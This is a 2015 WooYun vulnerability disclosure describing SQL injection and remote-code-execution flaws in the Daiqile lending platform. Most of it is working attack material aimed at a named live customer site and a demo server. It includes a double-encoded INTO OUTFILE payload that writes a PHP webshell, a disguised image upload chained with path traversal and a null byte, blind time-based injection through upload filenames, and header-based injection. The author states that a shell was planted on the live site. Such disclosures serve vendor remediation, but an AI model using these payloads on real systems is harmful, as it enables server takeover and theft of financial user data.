当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0136418

漏洞标题:贷齐乐某5处注入&&两处getshell

相关厂商:chinaanhe.com

漏洞作者: ′雨。

提交时间:2015-08-24 09:57

修复时间:2015-11-22 14:38

公开时间:2015-11-22 14:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-24: 细节已通知厂商并且等待厂商处理中
2015-08-24: 厂商已经确认,细节仅向厂商公开
2015-08-27: 细节向第三方安全合作伙伴开放
2015-10-18: 细节向核心白帽子及相关领域专家公开
2015-10-28: 细节向普通白帽子公开
2015-11-07: 细节向实习白帽子公开
2015-11-22: 细节向公众公开

简要描述:

部分无需登录、
以你们引以为傲的案例来测试。

详细说明:

增加了全局的过滤 和 addslashes,比较6 但是呢?
用你们引以为傲的宁波贷来测试。
0x01 注入1
在index.php中

elseif ($_G['query_site'] == "integral" || strstr($_G['query_site'],'integral')){
include_once ("modules/integral/integral_mall.php");
//$magic->display("integral.html");
exit;
}


来看看这个小宝贝文件里的代码

elseif ($_U['query_class'] == 'check_email'){
$email = urldecode($_REQUEST['email']);
$sql = "select * from {user} where email='{$email}'";
$result = $mysql->db_fetch_array($sql);

if ($result == false){
echo true;exit;
}else{
echo false;exit;
}
}


巧妙的解码,然后带入,我喜欢。
www.nbdai0574.com
POST:query_site=integral&q=action/check_email&email=%2527
提示:MySQL错误信息:参数非法!
如何注入呢 直接POST以下包 直接写shell。
query_site=integral&q=action/check_email&email=%25%32%37%25%32%30%25%36%31%25%36%45%25%36%34%25%32%30%25%33%30%25%32%30%25%35%35%25%34%45%25%34%39%25%34%46%25%34%45%25%32%30%25%35%33%25%34%35%25%34%43%25%34%35%25%34%33%25%35%34%25%32%30%25%33%30%25%37%38%25%33%33%25%34%33%25%33%33%25%34%36%25%33%37%25%33%30%25%33%36%25%33%38%25%33%37%25%33%30%25%33%32%25%33%30%25%33%36%25%33%31%25%33%37%25%33%32%25%33%37%25%33%32%25%33%36%25%33%31%25%33%37%25%33%39%25%33%35%25%34%36%25%33%36%25%34%34%25%33%36%25%33%31%25%33%37%25%33%30%25%33%32%25%33%38%25%33%32%25%33%32%25%33%36%25%33%31%25%33%37%25%33%33%25%33%37%25%33%33%25%33%36%25%33%35%25%33%37%25%33%32%25%33%37%25%33%34%25%33%32%25%33%32%25%33%32%25%34%33%25%33%32%25%33%38%25%33%36%25%33%31%25%33%37%25%33%32%25%33%37%25%33%32%25%33%36%25%33%31%25%33%37%25%33%39%25%33%32%25%33%39%25%33%32%25%33%34%25%33%35%25%34%36%25%33%35%25%33%32%25%33%34%25%33%35%25%33%35%25%33%31%25%33%35%25%33%35%25%33%34%25%33%35%25%33%35%25%33%33%25%33%35%25%33%34%25%33%35%25%34%32%25%33%32%25%33%37%25%33%37%25%33%39%25%33%37%25%33%35%25%33%32%25%33%37%25%33%35%25%34%34%25%33%32%25%33%39%25%33%33%25%34%32%25%33%33%25%34%36%25%33%33%25%34%35%25%32%43%25%33%32%25%32%43%25%33%33%25%32%43%25%33%34%25%32%43%25%33%35%25%32%43%25%33%36%25%32%43%25%33%37%25%32%43%25%33%38%25%32%43%25%33%39%25%32%43%25%33%31%25%33%30%25%32%43%25%33%31%25%33%31%25%32%43%25%33%31%25%33%32%25%32%43%25%33%31%25%33%33%25%32%43%25%33%31%25%33%34%25%32%43%25%33%31%25%33%35%25%32%43%25%33%31%25%33%36%25%32%43%25%33%31%25%33%37%25%32%43%25%33%31%25%33%38%25%32%43%25%33%31%25%33%39%25%32%43%25%33%32%25%33%30%25%32%43%25%33%32%25%33%31%25%32%43%25%33%32%25%33%32%25%32%43%25%33%32%25%33%33%25%32%43%25%33%32%25%33%34%25%32%43%25%33%32%25%33%35%25%32%43%25%33%32%25%33%36%25%32%43%25%33%32%25%33%37%25%32%43%25%33%32%25%33%38%25%32%43%25%33%32%25%33%39%25%32%43%25%33%33%25%33%30%25%32%43%25%33%33%25%33%31%25%32%43%25%33%33%25%33%32%25%32%43%25%33%33%25%33%33%25%32%43%25%33%33%25%33%34%25%32%43%25%33%33%25%33%35%25%32%43%25%33%33%25%33%36%25%32%43%25%33%33%25%33%37%25%32%43%25%33%33%25%33%38%25%32%43%25%33%33%25%33%39%25%32%43%25%33%34%25%33%30%25%32%43%25%33%34%25%33%31%25%32%43%25%33%34%25%33%32%25%32%43%25%33%34%25%33%33%25%32%43%25%33%34%25%33%34%25%32%43%25%33%34%25%33%35%25%32%43%25%33%34%25%33%36%25%32%43%25%33%34%25%33%37%25%32%43%25%33%34%25%33%38%25%32%43%25%33%34%25%33%39%25%32%43%25%33%35%25%33%30%25%32%43%25%33%35%25%33%31%25%32%43%25%33%35%25%33%32%25%32%43%25%33%35%25%33%33%25%32%30%25%36%39%25%36%45%25%37%34%25%36%46%25%32%30%25%36%46%25%37%35%25%37%34%25%36%36%25%36%39%25%36%43%25%36%35%25%32%30%25%32%37%25%32%46%25%37%35%25%37%33%25%37%32%25%32%46%25%37%33%25%36%38%25%36%31%25%37%32%25%36%35%25%32%46%25%36%45%25%36%37%25%36%39%25%36%45%25%37%38%25%32%46%25%36%38%25%37%34%25%36%44%25%36%43%25%32%46%25%37%39%25%37%35%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30%25%32%37%25%32%33
直接写入了yu1.php
0x02 注入2
依旧integral_mall

}else{
//礼品兑换列表
$data_list['page'] = $_REQUEST['page'];
$data_list['epage'] = 20;
$data_list['name'] = isset($_REQUEST['name'])?$_REQUEST['name']:"";
$data_list['price'] = empty($_REQUEST['price'])?'':$_REQUEST['price'];
$data_list['type'] = empty($_REQUEST['type'])?'':$_REQUEST['type'];
$data_list['order'] = empty($_REQUEST['order'])?'':$_REQUEST['order'];
$data_list['k'] = empty($_REQUEST['k'])?'':urldecode($_REQUEST['k']);
$_A['product_k'] = $data_list['k'];
if(empty($data_list['order'])){
$_A['default_order'] = 1;
$_A['inte_order'] = 1;
$_A['time_order'] = 1;
$_A['order_type'] = 'default';
}else{
$_order_arr = explode(',',$data_list['order']);
switch($_order_arr[0]){
case 'default':
if($_order_arr[1]==1){
$_A['default_order'] = 0;
}else{
$_A['default_order'] = 1;
}
$_A['inte_order'] = 0;
$_A['time_order'] = 0;
$_A['order_type'] = 'default';
break;
case 'time':
if($_order_arr[1]==1){
$_A['time_order'] = 0;
}else{
$_A['time_order'] = 1;
}
$_A['default_order'] = 0;
$_A['inte_order'] = 0;
$_A['order_type'] = 'time';
break;
case 'inte':
if($_order_arr[1]==1){
$_A['inte_order'] = 0;
}else{
$_A['inte_order'] = 1;
}
$_A['default_order'] = 0;
$_A['time_order'] = 0;
$_A['order_type'] = 'inte';
break;
}
$_A['product_order'] = $data_list['order'];
}
if(!empty($_REQUEST['price'])){
$_A['product_price'] = $_REQUEST['price'];
}
if(!empty($_REQUEST['type'])){
$_A['product_type'] = $_REQUEST['type'];
}
$result = integralClass::GetList($data_list);


当检测不存在product的时候进入。
又看到美丽的解码 我喜欢。
www.nbdai0574.com
POST:query_site=integral&q=action/xxx&k=%2527
注入方法如1。
0x03 Getshell 1
在modules/member/index_default中

//用户中心的管理地址
$member_url = "index.php?".$_G['query_site'];
$_U['member_url'] = $member_url;
//模块,分页,每页显示条数
$_U['page'] = empty($_REQUEST['page'])?"1":$_REQUEST['page'];//分页
$_U['epage'] = empty($_REQUEST['epage'])?"10":$_REQUEST['epage'];//分页的每一页
//对地址栏进行归类
$q = empty($_REQUEST['q'])?"":urldecode($_REQUEST['q']);//获取内容 解码
$_q = explode("/",$q);
$_U['query'] = $q;
$_U['query_sort'] = empty($_q[0])?"main":$_q[0];
$_U['query_class'] = empty($_q[1])?"list":$_q[1];//注意这里
$_U['query_type'] = empty($_q[2])?"list":$_q[2];
$_U['query_url'] = $_U['member_url']."&q={$_U['query_sort']}/{$_U['query_class']}";
$_U['user_reg_key'] = "asdfaswerwer";


继续往下看

}elseif ($_U['query_sort'] == "code"){	
if (!isset($_G['user_id']) || $_G['user_id']==""){
header('location:index.php?user&q=action/login');
}

if (is_file(ROOT_PATH."/modules/{$_U['query_class']}/{$_U['query_class']}.inc.php")){
include(ROOT_PATH."/modules/{$_U['query_class']}/{$_U['query_class']}.inc.php");
}else{
$msg = array("您操作有误,请勿乱操作");
}


包含了。 但是在上面是 $_q = explode("/",$q);
用/ 来切割成数组, 所以我们如果要向上跳目录的话,就只有用..\了
这个好像是只有windows支持?因为解码了,所以无视gpc 受php版本限
所以我们找个windows的daiqile
直接用demo的来测试。
121.40.166.230:10025
首先我们先找个上传图片的地方
上传一个图片的phpinfo

POST /plugins/editor/sinaeditor/editor/upload.php?action=upload HTTP/1.1
Host: 121.40.166.230:10025
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie: uchome_auth=3838UNlcYHqf9iB3IPbJz1s5PGZ0svPTcikiYKRylegS37m7en4wgaGw0QY%2BUoNGpacjkaJAzePH8ClrW4EJ;
Content-Type: multipart/form-data; boundary=---------------------------2995119424827
Content-Length: 202
-----------------------------2995119424827
Content-Disposition: form-data; name="file1"; filename="a.jpg"
Content-Type: image/jpeg
<?php phpinfo();?>
-----------------------------2995119424827--


返回 <script>window.parent.LoadIMG('../../../data/upfiles/201508231440326040.jpg');</script>
http://121.40.166.230:10025/data/upfiles/201508231440326040.jpg
然后来包含这个文件。
http://121.40.166.230:10025/?user 首先登录会员 xiaoyu xiaoyu
再来包含
虽然全局转义了 但是利用二次编码绕过
http://121.40.166.230:10025/?user
POST:q=code/%25%32%45%25%32%45%25%35%43%25%36%34%25%36%31%25%37%34%25%36%31%25%35%43%25%37%35%25%37%30%25%36%36%25%36%39%25%36%43%25%36%35%25%37%33%25%35%43%25%33%32%25%33%30%25%33%31%25%33%35%25%33%30%25%33%38%25%33%32%25%33%33%25%33%31%25%33%34%25%33%34%25%33%30%25%33%33%25%33%32%25%33%36%25%33%30%25%33%34%25%33%30%25%32%45%25%36%41%25%37%30%25%36%37%25%30%30

1 (2).jpg


成功执行了我们上传的jpg
0x04 Getshell 2
在modules\integral\integral_mall.php中

//模块,分页,每页显示条数
$_U['page'] = empty($_REQUEST['page'])?"1":$_REQUEST['page'];//分页
$_U['epage'] = empty($_REQUEST['epage'])?"10":$_REQUEST['epage'];//分页的每一页
//对地址栏进行归类
$q = empty($_REQUEST['q'])?"":urldecode($_REQUEST['q']);//获取内容
$_q = explode("/",$q);
$_U['query'] = $q;
$_U['query_sort'] = empty($_q[0])?"main":$_q[0];
$_U['query_class'] = empty($_q[1])?"list":$_q[1];
$_U['query_type'] = empty($_q[2])?"list":$_q[2];
$_U['query_url'] = $_U['member_url']."&q={$_U['query_sort']}/{$_U['query_class']}";


下面

}elseif ($_U['query_sort'] == "code"){
if (!isset($_G['user_id']) || $_G['user_id']==""){
//微信登录
if(strstr($_SERVER['REQUEST_URI'],'/wx/') || !empty($_REQUEST['wx'])){
header('location:index.php?user&q=action/login&wx=1');
}else{
header('location:index.php?user&q=action/login');
}
}

if (is_file(ROOT_PATH."/modules/{$_U['query_class']}/{$_U['query_class']}.inc.php")){
include(ROOT_PATH."/modules/{$_U['query_class']}/{$_U['query_class']}.inc.php");
}else{
$msg = array("您操作有误,请勿乱操作");
}


跟上面那个是一样的 访问方式如上面的注入。 这个我就不多说了
0x05 注入 3
/plugins/jquery.uploadify/uploadify.php中

$save_path1 = "../../";
$save_path2 = "data/upfiles/userimg/";
$targetFolder = $save_path1 . $save_path2; // Relative to the root
//不存在就创建文件夹
createFolder($targetFolder);
$verifyToken = md5('unique_salt' . $_POST['timestamp']);//验证token 这里我们的post不提交 则token为一个固定的值
if (!empty($_FILES) && $_POST['token'] == $verifyToken) {
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $targetFolder;
$file_name = $_FILES['Filedata']['name'];
$file_name = "pic".mktime().rand(0,999). rechinese($file_name);//获取了名字。

$targetFile = $targetFolder . $file_name;

// Validate the file type
$fileTypes = array('jpg','jpeg','gif','png'); // File extensions

$fileParts = pathinfo($file_name);

if (in_array($fileParts['extension'],$fileTypes)) {//验证了后缀
if(move_uploaded_file($tempFile,$targetFile)){
$data["img"]=$save_path2.$file_name;
$data["auctionid"]=0;
if(isset($_POST["reloadid"])&&$_POST["reloadid"]!=="0"){
$sql = "update `{attestation}` set `addtime` = '" . time () . "',`addip` = '" . ip_address () . "'";
foreach ( $data as $key => $value ) {
$sql .= ",`$key` = '$value'";
}
$sql.=" where id={$_POST["reloadid"]}";
}else{
$sql = "insert into `{attestation}` set `addtime` = '" . time () . "',`addip` = '" . ip_address () . "'";
foreach ( $data as $key => $value ) {
$sql .= ",`$key` = '$value'";
}//foreach出来
}

$result=$mysql->db_query ( $sql );
if ($result) {
//返回插入的id
if(isset($_POST["reloadid"])&&$_POST["reloadid"]!=="0" ){
echo json_encode(array("id"=>$_POST["reloadid"],"filename"=>$file_name));
}else{
echo json_encode(array("id"=>$mysql->db_insert_id(),"filename"=>$file_name));

}
} else {


可以看到 这里虽然上传的时候限制了后缀,但是后面foreach出来 也就是在上传的时候带入了文件的名字 导致了注入。
_FILES 的 无视了这个过滤。
用你们的 www.nbdai0574.com 测试

POST /plugins/jquery.uploadify/uploadify.php HTTP/1.1
Host: www.nbdai0574.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie: uchome_auth=3838UNlcYHqf9iB3IPbJz1s5PGZ0svPTcikiYKRylegS37m7en4wgaGw0QY%2BUoNGpacjkaJAzePH8ClrW4EJ;
Content-Type: multipart/form-data; boundary=---------------------------29862134505396
Content-Length: 318
-----------------------------29862134505396
Content-Disposition: form-data; name="token"
6b79a77180e9ec3a7ca351ebe54641a2
-----------------------------29862134505396
Content-Disposition: form-data; name="Filedata"; filename="a'.jpg"
Content-Type: image/jpeg
a
-----------------------------29862134505396--


HTTP/1.1 200 OK
Server: nginx/1.4.7
Date: Sun, 23 Aug 2015 03:56:41 GMT
Content-Type: text/html;charset=GB2312
Connection: keep-alive
Set-Cookie: PHPSESSID=is7r2ov3530pdou3r7fkbj4g90; path=/
Content-Length: 24
MySQL´íÎóÐÅÏ¢£º²ÎÊý·Ç·¨!



提示mysql非法了 这就是报错的标志 说明了成功引入了单引号 这个来用盲注入

POST /plugins/swfupload/upload.array.php HTTP/1.1
Host: www.nbdai0574.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie: uchome_auth=3838UNlcYHqf9iB3IPbJz1s5PGZ0svPTcikiYKRylegS37m7en4wgaGw0QY%2BUoNGpacjkaJAzePH8ClrW4EJ;
Content-Type: multipart/form-data; boundary=---------------------------10383149458909
Content-Length: 376
-----------------------------10383149458909
Content-Disposition: form-data; name="token"
6b79a77180e9ec3a7ca351ebe54641a2
-----------------------------10383149458909
Content-Disposition: form-data; name="Filedata"; filename="1' or if(ascii(substr((select user()),1,1))=114,sleep(2),1)#.jpg"
Content-Type: image/jpeg
1
-----------------------------10383149458909--


当user()的第一位的ascii为114的时候则延时, 测试宁波贷114的时候成功延时
说明user()的第一位为r
0x06 注入
plugins/swfupload/upload.array.php中

$valid_chars_regex = '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
$save_path1 = "../../";
$save_path2 = "data/upfiles/litpics/";
$save_path = $save_path1 . $save_path2;
$file_name = $_FILES ["Filedata"] ["name"];
// Validate that we won't over-write an existing file
if (file_exists ( $save_path . $file_name )) {
//HandleError ( "File with this name already exists" );
exit ( 0 );
}
$file_name = "pic" . mktime ().rand(0,999) . rechinese ( $file_name );//只清除了一些中文名 无影响
// Validate file extension
$path_info = pathinfo ( $file_name );
$file_extension = $path_info ["extension"];//获取后缀
$is_valid_extension = false;
foreach ( $extension_whitelist as $extension ) {//验证后缀
if (strcasecmp ( $file_extension, $extension ) == 0) {
$is_valid_extension = true;
break;
}
}
if (! $is_valid_extension) {
//HandleError ( "Invalid file extension" );
exit ( 0 );
}
if (! @move_uploaded_file ( $_FILES ["Filedata"] ["tmp_name"], $save_path . $file_name )) {
echo "faild!";
exit ( 0 );
} else {

// 直接用户名查询userid,目前不了解怎么
//$sql1 = "select user_id from {user} where username='" . $_SESSION ['username'] . "'";
//$res1 = $mysql->db_fetch_array ( $sql1 );
//print_r ( $res1 );
// userid
$data ['user_id'] = $userid;

$_G ['upimg'] ['file'] = "pics";
$_G ['upimg'] ['cut_status'] = 0;
$_G ['upimg'] ['code'] = "attestation";
$data ['type_id'] = 1;
$data ['name'] = $file_name;

$data ['litpic'] = $save_path2 . $file_name;

$sql = "insert into `{attestation}` set `addtime` = '" . time () . "',`addip` = '" . ip_address () . "'";
foreach ( $data as $key => $value ) {
$sql .= ",`$key` = '$value'";
}
$result = $mysql->db_query ( $sql );

if ($result !== true) {
echo "failed";
} else {
echo "success";
}


如果是合法的图片后缀就带入到sql当中 因为是_FILES 无视全局的全部过滤。

POST /plugins/swfupload/upload.array.php HTTP/1.1
Host: www.nbdai0574.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie: uchome_auth=3838UNlcYHqf9iB3IPbJz1s5PGZ0svPTcikiYKRylegS37m7en4wgaGw0QY%2BUoNGpacjkaJAzePH8ClrW4EJ;
Content-Type: multipart/form-data; boundary=---------------------------29862134505396
Content-Length: 318
-----------------------------29862134505396
Content-Disposition: form-data; name="token"
6b79a77180e9ec3a7ca351ebe54641a2
-----------------------------29862134505396
Content-Disposition: form-data; name="Filedata"; filename="a'.jpg"
Content-Type: image/jpeg
a
-----------------------------29862134505396--


提交后返回 提示:MySQL错误信息:参数非法!
说明成功引入了单引号。 注入方法如0X05 不多说
0x07 通用函数造成的一大堆注入

function ip_address() {
if(!empty($_SERVER["HTTP_CLIENT_IP"])) {
$ip_address = $_SERVER["HTTP_CLIENT_IP"];
}else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){
$ip_address = array_pop(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']));
}else if(!empty($_SERVER["REMOTE_ADDR"])){
$ip_address = $_SERVER["REMOTE_ADDR"];
}else{
$ip_address = '';
}
return $ip_address;
}


很古老的xff漏洞, 但是xff中的逗号用来切割了, 这用我们用Clientip
这个通用函数造成了一大堆注入。。
随便列举几处

POST /plugins/swfupload/upload.array.php HTTP/1.1
Host: www.nbdai0574.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
x-forwarded-for:
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie: uchome_auth=3838UNlcYHqf9iB3IPbJz1s5PGZ0svPTcikiYKRylegS37m7en4wgaGw0QY%2BUoNGpacjkaJAzePH8ClrW4EJ;
Content-Type: multipart/form-data; boundary=---------------------------10383149458909
Content-Length: 339
-----------------------------10383149458909
Content-Disposition: form-data; name="token"
6b79a77180e9ec3a7ca351ebe54641a2
-----------------------------10383149458909
Content-Disposition: form-data; name="Filedata"; filename="8_3M[__GP4JQURNQG0JXX0S.jpg"
Content-Type: image/jpeg
1
-----------------------------10383149458909--


返回success
更改xff为1' select from 就报错了。。

1 (3).jpg


不多说了 xff这个 很多处。
注入方法也如0x05

漏洞证明:

1 (4).jpg


利用注入写的shell 刚上的。

修复方案:

该继续转义的就转义
验证合法

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-08-24 14:36

厂商回复:

谢谢

最新状态:

暂无